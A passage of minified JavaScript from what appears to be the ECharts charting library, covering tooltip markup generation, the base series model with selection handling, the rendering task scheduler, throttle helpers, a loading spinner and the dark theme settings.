e=this._sourceHost,t,n,r;if(Uy(e))t=e.get(`seriesLayoutBy`,!0),n=e.get(`sourceHeader`,!0),r=e.get(`dimensions`,!0);else if(!this._getUpstreamSourceManagers().length){var i=e;t=i.get(`seriesLayoutBy`,!0),n=i.get(`sourceHeader`,!0),r=i.get(`dimensions`,!0)}return{seriesLayoutBy:t,sourceHeader:n,dimensions:r}},e}();function Hy(e){e.option.transform&&At(e.option.transform)}function Uy(e){return e.mainType===`series`}function Wy(e){throw Error(e)}var Gy=`line-height:1`;function Ky(e){var t=e.lineHeight;return t==null?Gy:`line-height:`+Cn(t+``)+`px`}function qy(e,t){var n=e.color||Q.color.tertiary,r=e.fontSize||12,i=e.fontWeight||`400`,a=e.color||Q.color.secondary,o=e.fontSize||14,s=e.fontWeight||`900`;return t===`html`?{nameStyle:`font-size:`+Cn(r+``)+`px;color:`+Cn(n)+`;font-weight:`+Cn(i+``),valueStyle:`font-size:`+Cn(o+``)+`px;color:`+Cn(a)+`;font-weight:`+Cn(s+``)}:{nameStyle:{fontSize:r,fill:n,fontWeight:i},valueStyle:{fontSize:o,fill:a,fontWeight:s}}}var Jy=[0,10,20,30],Yy=[``,`
+`,`
+
+`,`
+
+
+`];function Xy(e,t){return t.type=e,t}function Zy(e){return e.type===`section`}function Qy(e){return Zy(e)?eb:tb}function $y(e){if(Zy(e)){var t=0,n=e.blocks.length,r=n>1||n>0&&!e.noHeader;return L(e.blocks,function(e){var n=$y(e);n>=t&&(t=n+ +(r&&(!n||Zy(e)&&!e.noHeader)))}),t}return 0}function eb(e,t,n,r){var i=t.noHeader,a=rb($y(t)),o=[],s=t.blocks||[];Dt(!s||B(s)),s||=[];var c=e.orderMode;if(t.sortBlocks&&c){s=s.slice();var l={valueAsc:`asc`,valueDesc:`desc`};if(K(l,c)){var u=new hy(l[c],null);s.sort(function(e,t){return u.evaluate(e.sortParam,t.sortParam)})}else c===`seriesDesc`&&s.reverse()}L(s,function(n,i){var s=t.valueFormatter,c=Qy(n)(s?F(F({},e),{valueFormatter:s}):e,n,i>0?a.html:0,r);c!=null&&o.push(c)});var d=e.renderMode===`richText`?o.join(a.richText):ib(r,o.join(``),i?n:a.html);if(i)return d;var f=hg(t.header,`ordinal`,e.useUTC),p=qy(r,e.renderMode).nameStyle,m=Ky(r);return e.renderMode===`richText`?sb(e,f,p)+a.richText+d:ib(r,`<div style="`+p+`;`+m+`;">`+Cn(f)+`</div>`+d,n)}function tb(e,t,n,r){var i=e.renderMode,a=t.noName,o=t.noValue,s=!t.markerType,c=t.name,l=e.useUTC,u=t.valueFormatter||e.valueFormatter||function(e){return e=B(e)?e:[e],R(e,function(e,t){return hg(e,B(p)?p[t]:p,l)})};if(!(a&&o)){var d=s?``:e.markupStyleCreator.makeTooltipMarker(t.markerType,t.markerColor||Q.color.secondary,i),f=a?``:hg(c,`ordinal`,l),p=t.valueType,m=o?[]:u(t.value,t.dataIndex),h=!s||!a,g=!s&&a,_=qy(r,i),v=_.nameStyle,y=_.valueStyle;return i===`richText`?(s?``:d)+(a?``:sb(e,f,v))+(o?``:cb(e,m,h,g,y)):ib(r,(s?``:d)+(a?``:ab(f,!s,v))+(o?``:ob(m,h,g,y)),n)}}function nb(e,t,n,r,i,a){if(e)return Qy(e)({useUTC:i,renderMode:n,orderMode:r,markupStyleCreator:t,valueFormatter:e.valueFormatter},e,0,a)}function rb(e){return{html:Jy[e],richText:Yy[e]}}function ib(e,t,n){var r=`<div style="clear:both"></div>`,i=`margin: `+n+`px 0 0`,a=Ky(e);return`<div style="`+i+`;`+a+`;">`+t+r+`</div>`}function ab(e,t,n){var r=t?`margin-left:2px`:``;return`<span style="`+n+`;`+r+`">`+Cn(e)+`</span>`}function ob(e,t,n,r){var i=t?`float:right;margin-left:`+(n?`10px`:`20px`):``;return e=B(e)?e:[e],`<span style="`+i+`;`+r+`">`+R(e,function(e){return Cn(e)}).join(`&nbsp;&nbsp;`)+`</span>`}function sb(e,t,n){return e.markupStyleCreator.wrapRichTextStyle(t,n)}function cb(e,t,n,r,i){var a=[i],o=r?10:20;return n&&a.push({padding:[0,0,0,o],align:`right`}),e.markupStyleCreator.wrapRichTextStyle(B(t)?t.join(` `):t,a)}function lb(e,t){var n=e.getData().getItemVisual(t,`style`)[e.visualDrawType];return xg(n)}function ub(e,t){return e.get(`padding`)??(t===`richText`?[8,10]:10)}var db=function(){function e(){this.richTextStyles={},this._nextStyleNameId=Es()}return e.prototype._generateStyleName=function(){return`__EC_aUTo_`+ this._nextStyleNameId++},e.prototype.makeTooltipMarker=function(e,t,n){var r=n===`richText`?this._generateStyleName():null,i=bg({color:t,type:e,renderMode:n,markerId:r});return H(i)?i:(this.richTextStyles[r]=i.style,i.content)},e.prototype.wrapRichTextStyle=function(e,t){var n={};B(t)?L(t,function(e){return F(n,e)}):F(n,t);var r=this._generateStyleName();return this.richTextStyles[r]=n,`{`+r+`|`+e+`}`},e}();function fb(e){var t=e.series,n=e.dataIndex,r=e.multipleSeries,i=t.getData(),a=i.mapDimensionsAll(`defaultedTooltip`),o=a.length,s=t.getRawValue(n),c=B(s),l=lb(t,n),u,d,f,p;if(o>1||c&&!o){var m=pb(s,t,n,a,l);u=m.inlineValues,d=m.inlineValueTypes,f=m.blocks,p=m.inlineValues[0]}else if(o){var h=i.getDimensionInfo(a[0]);p=u=ry(i,n,a[0]),d=h.type}else p=u=c?s[0]:s;var g=$s(t),_=g&&t.name||``,v=i.getName(n),y=r?_:v;return Xy(`section`,{header:_,noHeader:r||!g,sortParam:p,blocks:[Xy(`nameValue`,{markerType:`item`,markerColor:l,name:y,noName:!Ot(y),value:u,valueType:d,dataIndex:n})].concat(f||[])})}function pb(e,t,n,r,i){var a=t.getData(),o=ct(e,function(e,t,n){var r=a.getDimensionInfo(n);return e||=r&&r.tooltip!==!1&&r.displayName!=null},!1),s=[],c=[],l=[];r.length?L(r,function(e){u(ry(a,n,e),e)}):L(e,u);function u(e,t){var n=a.getDimensionInfo(t);!n||n.otherDims.tooltip===!1||(o?l.push(Xy(`nameValue`,{markerType:`subItem`,markerColor:i,name:n.displayName,value:e,valueType:n.type})):(s.push(e),c.push(n.type)))}return{inlineValues:s,inlineValueTypes:c,blocks:l}}var mb=oc();function hb(e,t){return e.getName(t)||e.getId(t)}var gb=`__universalTransitionEnabled`,_b=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t._selectedDataIndicesMap={},t}return t.prototype.init=function(e,t,n){this.seriesIndex=this.componentIndex,this.dataTask=sy({count:bb,reset:xb}),this.dataTask.context={model:this},this.mergeDefaultAndTheme(e,n),(mb(this).sourceManager=new Vy(this)).prepareSource();var r=this.getInitialData(e,n);Cb(r,this),this.dataTask.context.data=r,mb(this).dataBeforeProcessed=r,vb(this),this._initSelectedMapFromData(r)},t.prototype.mergeDefaultAndTheme=function(e,t){var n=Yg(this),r=n?Zg(e):{},i=this.subType;e_.hasClass(i)&&(i+=`Series`),nt(e,t.getTheme().get(this.subType)),nt(e,this.getDefaultOption()),zs(e,`label`,[`show`]),this.fillDataTextStyle(e.data),n&&Xg(e,r,n)},t.prototype.mergeOption=function(e,t){e=nt(this.option,e,!0),this.fillDataTextStyle(e.data);var n=Yg(this);n&&Xg(this.option,e,n);var r=mb(this).sourceManager;r.dirty(),r.prepareSource();var i=this.getInitialData(e,t);Cb(i,this),this.dataTask.dirty(),this.dataTask.context.data=i,mb(this).dataBeforeProcessed=i,vb(this),this._initSelectedMapFromData(i)},t.prototype.fillDataTextStyle=function(e){if(e&&!_t(e))for(var t=[`show`],n=0;n<e.length;n++)e[n]&&e[n].label&&zs(e[n],`label`,t)},t.prototype.getInitialData=function(e,t){},t.prototype.appendData=function(e){this.getRawData().appendData(e.data)},t.prototype.getData=function(e){var t=Tb(this);if(t){var n=t.context.data;return e==null||!n.getLinkedData?n:n.getLinkedData(e)}else return mb(this).data},t.prototype.getAllData=function(){var e=this.getData();return e&&e.getLinkedDataAll?e.getLinkedDataAll():[{data:e}]},t.prototype.setData=function(e){var t=Tb(this);if(t){var n=t.context;n.outputData=e,t!==this.dataTask&&(n.data=e)}mb(this).data=e},t.prototype.getEncode=function(){var e=this.get(`encode`,!0);if(e)return G(e)},t.prototype.getSourceManager=function(){return mb(this).sourceManager},t.prototype.getSource=function(){return this.getSourceManager().getSource()},t.prototype.getRawData=function(){return mb(this).dataBeforeProcessed},t.prototype.getColorBy=function(){return this.get(`colorBy`)||`series`},t.prototype.isColorBySeries=function(){return this.getColorBy()===`series`},t.prototype.getBaseAxis=function(){var e=this.coordinateSystem;return e&&e.getBaseAxis&&e.getBaseAxis()},t.prototype.indicesOfNearest=function(e,t,n,r){var i=this.getData(),a=this.coordinateSystem,o=a&&a.getAxis(e);if(!a||!o)return[];var s=o.dataToCoord(n);r??=1/0;var c=[],l=1/0,u=-1,d=0;return i.each(t,function(e,t){var n=s-o.dataToCoord(e),i=Math.abs(n);i<=r&&((i<l||i===l&&n>=0&&u<0)&&(l=i,u=n,d=0),n===u&&(c[d++]=t))}),c.length=d,c},t.prototype.formatTooltip=function(e,t,n){return fb({series:this,dataIndex:e,multipleSeries:t})},t.prototype.isAnimationEnabled=function(){var e=this.ecModel;if(Ne.node&&!(e&&e.ssr))return!1;var t=this.getShallow(`animation`);return t&&this.getData().count()>this.getShallow(`animationThreshold`)&&(t=!1),!!t},t.prototype.restoreData=function(){this.dataTask.dirty()},t.prototype.getColorFromPalette=function(e,t,n){var r=this.ecModel,i=M_.prototype.getColorFromPalette.call(this,e,t,n);return i||=r.getColorFromPalette(e,t,n),i},t.prototype.coordDimToDataDim=function(e){return this.getRawData().mapDimensionsAll(e)},t.prototype.getProgressive=function(){return this.get(`progressive`)},t.prototype.getProgressiveThreshold=function(){return this.get(`progressiveThreshold`)},t.prototype.select=function(e,t){this._innerSelect(this.getData(t),e)},t.prototype.unselect=function(e,t){var n=this.option.selectedMap;if(n){var r=this.option.selectedMode,i=this.getData(t);if(r===`series`||n===`all`){this.option.selectedMap={},this._selectedDataIndicesMap={};return}for(var a=0;a<e.length;a++){var o=e[a],s=hb(i,o);n[s]=!1,this._selectedDataIndicesMap[s]=-1}}},t.prototype.toggleSelect=function(e,t){for(var n=[],r=0;r<e.length;r++)n[0]=e[r],this.isSelected(e[r],t)?this.unselect(n,t):this.select(n,t)},t.prototype.getSelectedDataIndices=function(){if(this.option.selectedMap===`all`)return[].slice.call(this.getData().getIndices());for(var e=this._selectedDataIndicesMap,t=dt(e),n=[],r=0;r<t.length;r++){var i=e[t[r]];i>=0&&n.push(i)}return n},t.prototype.isSelected=function(e,t){var n=this.option.selectedMap;if(!n)return!1;var r=this.getData(t);return(n===`all`||n[hb(r,e)])&&!r.getItemModel(e).get([`select`,`disabled`])},t.prototype.isUniversalTransitionEnabled=function(){if(this.__universalTransitionEnabled)return!0;var e=this.option.universalTransition;return e?e===!0?!0:e&&e.enabled:!1},t.prototype._innerSelect=function(e,t){var n,r,i=this.option,a=i.selectedMode,o=t.length;if(!(!a||!o)){if(a===`series`)i.selectedMap=`all`;else if(a===`multiple`){U(i.selectedMap)||(i.selectedMap={});for(var s=i.selectedMap,c=0;c<o;c++){var l=t[c],u=hb(e,l);s[u]=!0,this._selectedDataIndicesMap[u]=e.getRawIndex(l)}}else if(a===`single`||a===!0){var d=t[o-1],u=hb(e,d);i.selectedMap=(n={},n[u]=!0,n),this._selectedDataIndicesMap=(r={},r[u]=e.getRawIndex(d),r)}}},t.prototype._initSelectedMapFromData=function(e){if(!this.option.selectedMap){var t=[];e.hasItemOption&&e.each(function(n){var r=e.getRawDataItem(n);r&&r.selected&&t.push(n)}),t.length>0&&this._innerSelect(e,t)}},t.registerClass=function(e){return e_.registerClass(e)},t.protoInitialize=function(){var e=t.prototype;e.type=`series.__base__`,e.seriesIndex=0,e.ignoreStyleOnData=!1,e.hasSymbolVisual=!1,e.defaultSymbol=`circle`,e.visualStyleAccessPath=`itemStyle`,e.visualDrawType=`fill`}(),t}(e_);ot(_b,ay),ot(_b,M_),Oc(_b,e_);function vb(e){var t=e.name;$s(e)||(e.name=yb(e)||t)}function yb(e){var t=e.getRawData(),n=t.mapDimensionsAll(`seriesName`),r=[];return L(n,function(e){var n=t.getDimensionInfo(e);n.displayName&&r.push(n.displayName)}),r.join(` `)}function bb(e){return e.model.getRawData().count()}function xb(e){var t=e.model;return t.setData(t.getRawData().cloneShallow()),Sb}function Sb(e,t){t.outputData&&e.end>t.outputData.count()&&t.model.getRawData().cloneShallow(t.outputData)}function Cb(e,t){L(It(e.CHANGABLE_METHODS,e.DOWNSAMPLE_METHODS),function(n){e.wrapMethod(n,pt(wb,t))})}function wb(e,t){var n=Tb(e);return n&&n.setOutputEnd((t||this).count()),t}function Tb(e){var t=(e.ecModel||{}).scheduler,n=t&&t.getPipeline(e.uid);if(n){var r=n.currentTask;if(r){var i=r.agentStubMap;i&&(r=i.get(e.uid))}return r}}var Eb=function(){function e(){this.group=new Y,this.uid=dh(`viewComponent`)}return e.prototype.init=function(e,t){},e.prototype.render=function(e,t,n,r){},e.prototype.dispose=function(e,t){},e.prototype.updateView=function(e,t,n,r){},e.prototype.updateLayout=function(e,t,n,r){},e.prototype.updateVisual=function(e,t,n,r){},e.prototype.toggleBlurSeries=function(e,t,n){},e.prototype.eachRendered=function(e){var t=this.group;t&&t.traverse(e)},e}();Ec(Eb),Nc(Eb);function Db(){var e=oc();return function(t){var n=e(t),r=t.pipelineContext,i=!!n.large,a=!!n.progressiveRender,o=n.large=!!(r&&r.large),s=n.progressiveRender=!!(r&&r.progressiveRender);return(i!==o||a!==s)&&`reset`}}var Ob=oc(),kb=Db(),Ab=function(){function e(){this.group=new Y,this.uid=dh(`viewChart`),this.renderTask=sy({plan:Nb,reset:Pb}),this.renderTask.context={view:this}}return e.prototype.init=function(e,t){},e.prototype.render=function(e,t,n,r){},e.prototype.highlight=function(e,t,n,r){var i=e.getData(r&&r.dataType);i&&Mb(i,r,`emphasis`)},e.prototype.downplay=function(e,t,n,r){var i=e.getData(r&&r.dataType);i&&Mb(i,r,`normal`)},e.prototype.remove=function(e,t){this.group.removeAll()},e.prototype.dispose=function(e,t){},e.prototype.updateView=function(e,t,n,r){this.render(e,t,n,r)},e.prototype.updateLayout=function(e,t,n,r){this.render(e,t,n,r)},e.prototype.updateVisual=function(e,t,n,r){this.render(e,t,n,r)},e.prototype.eachRendered=function(e){Em(this.group,e)},e.markUpdateMethod=function(e,t){Ob(e).updateMethod=t},e.protoInitialize=function(){var t=e.prototype;t.type=`chart`}(),e}();function jb(e,t,n){e&&of(e)&&(t===`emphasis`?Pd:Fd)(e,n)}function Mb(e,t,n){var r=ac(e,t),i=t&&t.highlightKey!=null?cf(t.highlightKey):null;r==null?e.eachItemGraphicEl(function(e){jb(e,n,i)}):L(Rs(r),function(t){jb(e.getItemGraphicEl(t),n,i)})}Ec(Ab,[`dispose`]),Nc(Ab);function Nb(e){return kb(e.model)}function Pb(e){var t=e.model,n=e.ecModel,r=e.api,i=e.payload,a=t.pipelineContext.progressiveRender,o=e.view,s=i&&Ob(i).updateMethod,c=a?`incrementalPrepareRender`:s&&o[s]?s:`render`;return c!==`render`&&o[c](t,n,r,i),Fb[c]}var Fb={incrementalPrepareRender:{progress:function(e,t){t.view.incrementalRender(e,t.model,t.ecModel,t.api,t.payload)}},render:{forceFirstProgress:!0,progress:function(e,t){t.view.render(t.model,t.ecModel,t.api,t.payload)}}},Ib=`\0__throttleOriginMethod`,Lb=`\0__throttleRate`,Rb=`\0__throttleType`;function zb(e,t,n){var r,i=0,a=0,o=null,s,c,l,u;t||=0;function d(){a=new Date().getTime(),o=null,e.apply(c,l||[])}var f=function(){for(var e=[],f=0;f<arguments.length;f++)e[f]=arguments[f];r=new Date().getTime(),c=this,l=e;var p=u||t,m=u||n;u=null,s=r-(m?i:a)-p,clearTimeout(o),m?o=setTimeout(d,p):s>=0?d():o=setTimeout(d,-s),i=r};return f.clear=function(){o&&=(clearTimeout(o),null)},f.debounceNextCall=function(e){u=e},f}function Bb(e,t,n,r){var i=e[t];if(i){var a=i[Ib]||i,o=i[Rb];if(i[Lb]!==n||o!==r){if(n==null||!r)return e[t]=a;i=e[t]=zb(a,n,r===`debounce`),i[Ib]=a,i[Rb]=r,i[Lb]=n}return i}}function Vb(e,t){var n=e[t];n&&n[Ib]&&(n.clear&&n.clear(),e[t]=n[Ib])}var Hb=oc(),Ub={itemStyle:Pc(oh,!0),lineStyle:Pc(rh,!0)},Wb={lineStyle:`stroke`,itemStyle:`fill`};function Gb(e,t){return e.visualStyleMapper||Ub[t]||(console.warn(`Unknown style type '`+t+`'.`),Ub.itemStyle)}function Kb(e,t){return e.visualDrawType||Wb[t]||(console.warn(`Unknown style type '`+t+`'.`),`fill`)}var qb={createOnAllSeries:!0,performRawSeries:!0,reset:function(e,t){var n=e.getData(),r=e.visualStyleAccessPath||`itemStyle`,i=e.getModel(r),a=Gb(e,r)(i),o=i.getShallow(`decal`);o&&(n.setVisual(`decal`,o),o.dirty=!0);var s=Kb(e,r),c=a[s],l=V(c)?c:null,u=a.fill===`auto`||a.stroke===`auto`;if(!a[s]||l||u){var d=e.getColorFromPalette(e.name,null,t.getSeriesCount());a[s]||(a[s]=d,n.setVisual(`colorFromPalette`,!0)),a.fill=a.fill===`auto`||V(a.fill)?d:a.fill,a.stroke=a.stroke===`auto`||V(a.stroke)?d:a.stroke}if(n.setVisual(`style`,a),n.setVisual(`drawType`,s),!t.isSeriesFiltered(e)&&l)return n.setVisual(`colorFromPalette`,!1),{dataEach:function(t,n){var r=e.getDataParams(n),i=F({},a);i[s]=l(r),t.setItemVisual(n,`style`,i)}}}},Jb=new lh,Yb={createOnAllSeries:!0,performRawSeries:!0,reset:function(e,t){if(!(e.ignoreStyleOnData||t.isSeriesFiltered(e))){var n=e.getData(),r=e.visualStyleAccessPath||`itemStyle`,i=Gb(e,r),a=n.getVisual(`drawType`);return{dataEach:n.hasItemOption?function(e,t){var n=e.getRawDataItem(t);if(n&&n[r]){Jb.option=n[r];var o=i(Jb);F(e.ensureUniqueItemVisual(t,`style`),o),Jb.option.decal&&(e.setItemVisual(t,`decal`,Jb.option.decal),Jb.option.decal.dirty=!0),a in o&&e.setItemVisual(t,`colorFromPalette`,!1)}}:null}}}},Xb={performRawSeries:!0,overallReset:function(e){var t=G();e.eachSeries(function(e){var n=e.getColorBy();if(!e.isColorBySeries()){var r=e.type+`-`+n,i=t.get(r);i||(i={},t.set(r,i)),Hb(e).scope=i}}),e.eachSeries(function(t){if(!(t.isColorBySeries()||e.isSeriesFiltered(t))){var n=t.getRawData(),r={},i=t.getData(),a=Hb(t).scope,o=Kb(t,t.visualStyleAccessPath||`itemStyle`);i.each(function(e){var t=i.getRawIndex(e);r[t]=e}),n.each(function(e){var s=r[e];if(i.getItemVisual(s,`colorFromPalette`)){var c=i.ensureUniqueItemVisual(s,`style`),l=n.getName(e)||e+``,u=n.count();c[o]=t.getColorFromPalette(l,a,u)}})}})}},Zb=Math.PI;function Qb(e,t){t||={},I(t,{text:`loading`,textColor:Q.color.primary,fontSize:12,fontWeight:`normal`,fontStyle:`normal`,fontFamily:`sans-serif`,maskColor:`rgba(255,255,255,0.8)`,showSpinner:!0,color:Q.color.theme[0],spinnerRadius:10,lineWidth:5,zlevel:0});var n=new Y,r=new Lu({style:{fill:t.maskColor},zlevel:t.zlevel,z:1e4});n.add(r);var i=new Hu({style:{text:t.text,fill:t.textColor,fontSize:t.fontSize,fontWeight:t.fontWeight,fontStyle:t.fontStyle,fontFamily:t.fontFamily},zlevel:t.zlevel,z:10001}),a=new Lu({style:{fill:`none`},textContent:i,textConfig:{position:`right`,distance:10},zlevel:t.zlevel,z:10001});n.add(a);var o;return t.showSpinner&&(o=new vp({shape:{startAngle:-Zb/2,endAngle:-Zb/2+.1,r:t.spinnerRadius},style:{stroke:t.color,lineCap:`round`,lineWidth:t.lineWidth},zlevel:t.zlevel,z:10001}),o.animateShape(!0).when(1e3,{endAngle:Zb*3/2}).start(`circularInOut`),o.animateShape(!0).when(1e3,{startAngle:Zb*3/2}).delay(300).start(`circularInOut`),n.add(o)),n.resize=function(){var n=i.getBoundingRect().width,s=t.showSpinner?t.spinnerRadius:0,c=(e.getWidth()-s*2-(t.showSpinner&&n?10:0)-n)/2-(t.showSpinner&&n?0:5+n/2)+(t.showSpinner?0:n/2)+(n?0:s),l=e.getHeight()/2;t.showSpinner&&o.setShape({cx:c,cy:l}),a.setShape({x:c-s,y:l-s,width:s*2,height:s*2}),r.setShape({x:0,y:0,width:e.getWidth(),height:e.getHeight()})},n.resize(),n}var $b=function(){function e(e,t,n,r){this._stageTaskMap=G(),this.ecInstance=e,this.api=t,n=this._dataProcessorHandlers=n.slice(),r=this._visualHandlers=r.slice(),this._allHandlers=n.concat(r)}return e.prototype.restoreData=function(e,t){e.restoreData(t),this._stageTaskMap.each(function(e){var t=e.overallTask;t&&t.dirty()})},e.prototype.getPerformArgs=function(e,t){if(e.__pipeline){var n=this._pipelineMap.get(e.__pipeline.id),r=n.context,i=!t&&n.progressiveEnabled&&(!r||r.progressiveRender)&&e.__idxInPipeline>n.blockIndex?n.step:null,a=r&&r.modDataCount;return{step:i,modBy:a==null?null:Math.ceil(a/i),modDataCount:a}}},e.prototype.getPipeline=function(e){return this._pipelineMap.get(e)},e.prototype.updateStreamModes=function(e,t){var n=this._pipelineMap.get(e.uid),r=e.getData().count(),i=n.progressiveEnabled&&t.incrementalPrepareRender&&r>=n.threshold,a=e.get(`large`)&&r>=e.get(`largeThreshold`);e.pipelineContext=n.context={progressiveRender:i,modDataCount:e.get(`progressiveChunkMode`)===`mod`?r:null,large:a}},e.prototype.restorePipelines=function(e){var t=this,n=t._pipelineMap=G();e.eachSeries(function(e){var r=e.getProgressive(),i=e.uid;n.set(i,{id:i,head:null,tail:null,threshold:e.getProgressiveThreshold(),progressiveEnabled:r&&!(e.preventIncremental&&e.preventIncremental()),blockIndex:-1,step:Math.round(r||700),count:0}),t._pipe(e,e.dataTask)})},e.prototype.prepareStageTasks=function(){var e=this._stageTaskMap,t=this.api.getModel(),n=this.api;L(this._allHandlers,function(r){var i=e.get(r.uid)||e.set(r.uid,{});Dt(!(r.reset&&r.overallReset),``),r.reset&&this._createSeriesStageTask(r,i,t,n),r.overallReset&&this._createOverallStageTask(r,i,t,n)},this)},e.prototype.prepareView=function(e,t,n,r){var i=e.renderTask,a=i.context;a.model=t,a.ecModel=n,a.api=r,i.__block=!e.incrementalPrepareRender,this._pipe(t,i)},e.prototype.performDataProcessorTasks=function(e,t){this._performStageTasks(this._dataProcessorHandlers,e,t,{block:!0})},e.prototype.performVisualTasks=function(e,t,n){this._performStageTasks(this._visualHandlers,e,t,n)},e.prototype._performStageTasks=function(e,t,n,r){r||={};var i=!1,a=this;L(e,function(e,s){if(!(r.visualType&&r.visualType!==e.visualType)){var c=a._stageTaskMap.get(e.uid),l=c.seriesTaskMap,u=c.overallTask;if(u){var d,f=u.agentStubMap;f.each(function(e){o(r,e)&&(e.dirty(),d=!0)}),d&&u.dirty(),a.updatePayload(u,n);var p=a.getPerformArgs(u,r.block);f.each(function(e){e.perform(p)}),u.perform(p)&&(i=!0)}else l&&l.each(function(s,c){o(r,s)&&s.dirty();var l=a.getPerformArgs(s,r.block);l.skip=!e.performRawSeries&&t.isSeriesFiltered(s.context.model),a.updatePayload(s,n),s.perform(l)&&(i=!0)})}});function o(e,t){return e.setDirty&&(!e.dirtyMap||e.dirtyMap.get(t.__pipeline.id))}this.unfinished=i||this.unfinished},e.prototype.performSeriesTasks=function(e){var t;e.eachSeries(function(e){t=e.dataTask.perform()||t}),this.unfinished=t||this.unfinished},e.prototype.plan=function(){this._pipelineMap.each(function(e){var t=e.tail;do{if(t.__block){e.blockIndex=t.__idxInPipeline;break}t=t.getUpstream()}while(t)})},e.prototype.updatePayload=function(e,t){t!==`remain`&&(e.context.payload=t)},e.prototype._createSeriesStageTask=function(e,t,n,r){var i=this,a=t.seriesTaskMap,o=t.seriesTaskMap=G(),s=e.seriesType,c=e.getTargetSeries;e.createOnAllSeries?n.eachRawSeries(l):s?n.eachRawSeriesByType(s,l):c&&c(n,r).each(l);function l(t){var s=t.uid,c=o.set(s,a&&a.get(s)||sy({plan:ix,reset:ax,count:cx}));c.context={model:t,ecModel:n,api:r,useClearVisual:e.isVisual&&!e.isLayout,plan:e.plan,reset:e.reset,scheduler:i},i._pipe(t,c)}},e.prototype._createOverallStageTask=function(e,t,n,r){var i=this,a=t.overallTask=t.overallTask||sy({reset:ex});a.context={ecModel:n,api:r,overallReset:e.overallReset,scheduler:i};var o=a.agentStubMap,s=a.agentStubMap=G(),c=e.seriesType,l=e.getTargetSeries,u=!0,d=!1;Dt(!e.createOnAllSeries,``),c?n.eachRawSeriesByType(c,f):l?l(n,r).each(f):(u=!1,L(n.getSeries(),f));function f(e){var t=e.uid,n=s.set(t,o&&o.get(t)||(d=!0,sy({reset:tx,onDirty:rx})));n.context={model:e,overallProgress:u},n.agent=a,n.__block=u,i._pipe(e,n)}d&&a.dirty()},e.prototype._pipe=function(e,t){var n=e.uid,r=this._pipelineMap.get(n);!r.head&&(r.head=t),r.tail&&r.tail.pipe(t),r.tail=t,t.__idxInPipeline=r.count++,t.__pipeline=r},e.wrapStageHandler=function(e,t){return V(e)&&(e={overallReset:e,seriesType:lx(e)}),e.uid=dh(`stageHandler`),t&&(e.visualType=t),e},e}();function ex(e){e.overallReset(e.ecModel,e.api,e.payload)}function tx(e){return e.overallProgress&&nx}function nx(){this.agent.dirty(),this.getDownstream().dirty()}function rx(){this.agent&&this.agent.dirty()}function ix(e){return e.plan?e.plan(e.model,e.ecModel,e.api,e.payload):null}function ax(e){e.useClearVisual&&e.data.clearAllVisual();var t=e.resetDefines=Rs(e.reset(e.model,e.ecModel,e.api,e.payload));return t.length>1?R(t,function(e,t){return sx(t)}):ox}var ox=sx(0);function sx(e){return function(t,n){var r=n.data,i=n.resetDefines[e];if(i&&i.dataEach)for(var a=t.start;a<t.end;a++)i.dataEach(r,a);else i&&i.progress&&i.progress(t,r)}}function cx(e){return e.data.count()}function lx(e){fx=null;try{e(ux,dx)}catch{}return fx}var ux={},dx={},fx;px(ux,H_),px(dx,Y_),ux.eachSeriesByType=ux.eachRawSeriesByType=function(e){fx=e},ux.eachComponent=function(e){e.mainType===`series`&&e.subType&&(fx=e.subType)};function px(e,t){for(var n in t.prototype)e[n]=zt}var $=Q.darkColor,mx=$.background,hx=function(){return{axisLine:{lineStyle:{color:$.axisLine}},splitLine:{lineStyle:{color:$.axisSplitLine}},splitArea:{areaStyle:{color:[$.backgroundTint,$.backgroundTransparent]}},minorSplitLine:{lineStyle:{color:$.axisMinorSplitLine}},axisLabel:{color:$.axisLabel},axisName:{}}},gx={label:{color:$.secondary},itemStyle:{borderColor:$.borderTint},dividerLineStyle:{color:$.border}},_x={darkMode:!0,color:$.theme,backgroundColor:mx,axisPointer:{lineStyle:{color:$.border},crossStyle:{color:$.borderShade},label:{color:$.tertiary}},legend:{textStyle:{color:$.secondary},pageTextStyle:{color:$.tertiary}},textStyle:{color:$.secondary},title:{textStyle:{color:$.primary},subtextStyle:{color:$.quaternary}},toolbox:{iconStyle:{borderColor:$.accent50}},tooltip:{backgroundColor:$.neutral20,defaultBorderColor:$.border,textStyle:{color:$.tertiary}},dataZoom:{borderColor:$.accent10,textStyle:{color:$.tertiary},brushStyle:{color:$.backgroundTint},handleStyle:{color:$.neutral00,borderColor:$.accent20},moveHandleStyle:{color:$.accent40},emphasis:{handleStyle:{borderColor:$.accent50}},dataBackground:{lineStyle:{color:$.accent30},areaStyle:{color:$.accent20}},selectedDataBackground:{lineStyle:{color:$.accent50},areaStyle:{color:$.accent30}}},visualMap:{textStyle:{color:$.secondary},handleStyle:{borderColor:$.neutral30}},timeline:{lineStyle:{color:$.accent10},label:{color:$.tertiary},controlStyle:{color:$.accent30,borderColor:$.accent30}},calendar:{itemStyle:{color:$.neutral00,borderColor:$.neutral20},dayLabel:{color:$.tertiary},monthLabel:{color:$.secondary},yearLabel:{color:$.secondary}},matrix:{x:gx,y:gx,backgroundColor:{borderColor:$.axisLine},body:{itemStyle:{borderColor:$.borderTint}}},timeAxis:hx(),logAxis:hx(),valueAxis:hx(),categoryAxis:hx(),line:{symbol:`circle`},graph:{color:$.theme},gauge:{title:{color:$.secondary},axisLine:{lineStyle:{color:[[1,$.neutral05]]}},axisLabel:{color:$.axisLabel},detail:{color:$.primary}},candlestick:{itemStyle:{color:`#f64e56`,color0:`#54ea92`,borderColor:`#f64e56`,borderColor0:`#54ea92`}},funnel:{itemStyle:{borderColor:$.background}},radar:function(){var e=hx();return e.axisName={color:$.axisLabel},e.axisLine.lineStyle.color=$.neutral20,e}(),treemap:{breadcrumb:{itemStyle:{color:$.neutral20,textStyle:{color:$.secondary}},emphasis:{itemStyle:{color:$.neutral30}}}},sunburst:{itemStyle:{borderColor:$.background}},map:{itemStyle:{borderColor:$.border,areaColor:$.neutral10},label:{color:$.tertiary},emphasis:{label:{color:$.primary},itemStyle:{areaColor:$.highlight}},select:{label:{color:$.primary},itemStyle:{areaColor:$.highlight}}},geo:{itemStyle:{borderColor:$.border,areaColor:$.neutral10},emphasis:{label:{color:$.primary},itemStyle:{areaColor:$.highlight}},select:{label:{color:$.primary},itemStyle:{color:$.highlight}}}};_x.categoryAxis.splitLine.show=!1;var vx=function(){function e(){}return e.prototype.normalizeQuery=function(e){var t={},n={},r={};if(H(e)){var i=Cc(e);t.mainType=i.main||null,t.subType=i.sub||null}else{var a=[`Index`,`Name`,`Id`],o={name:1,dataIndex:1,dataType:1};L(e,function(e,i){for(var 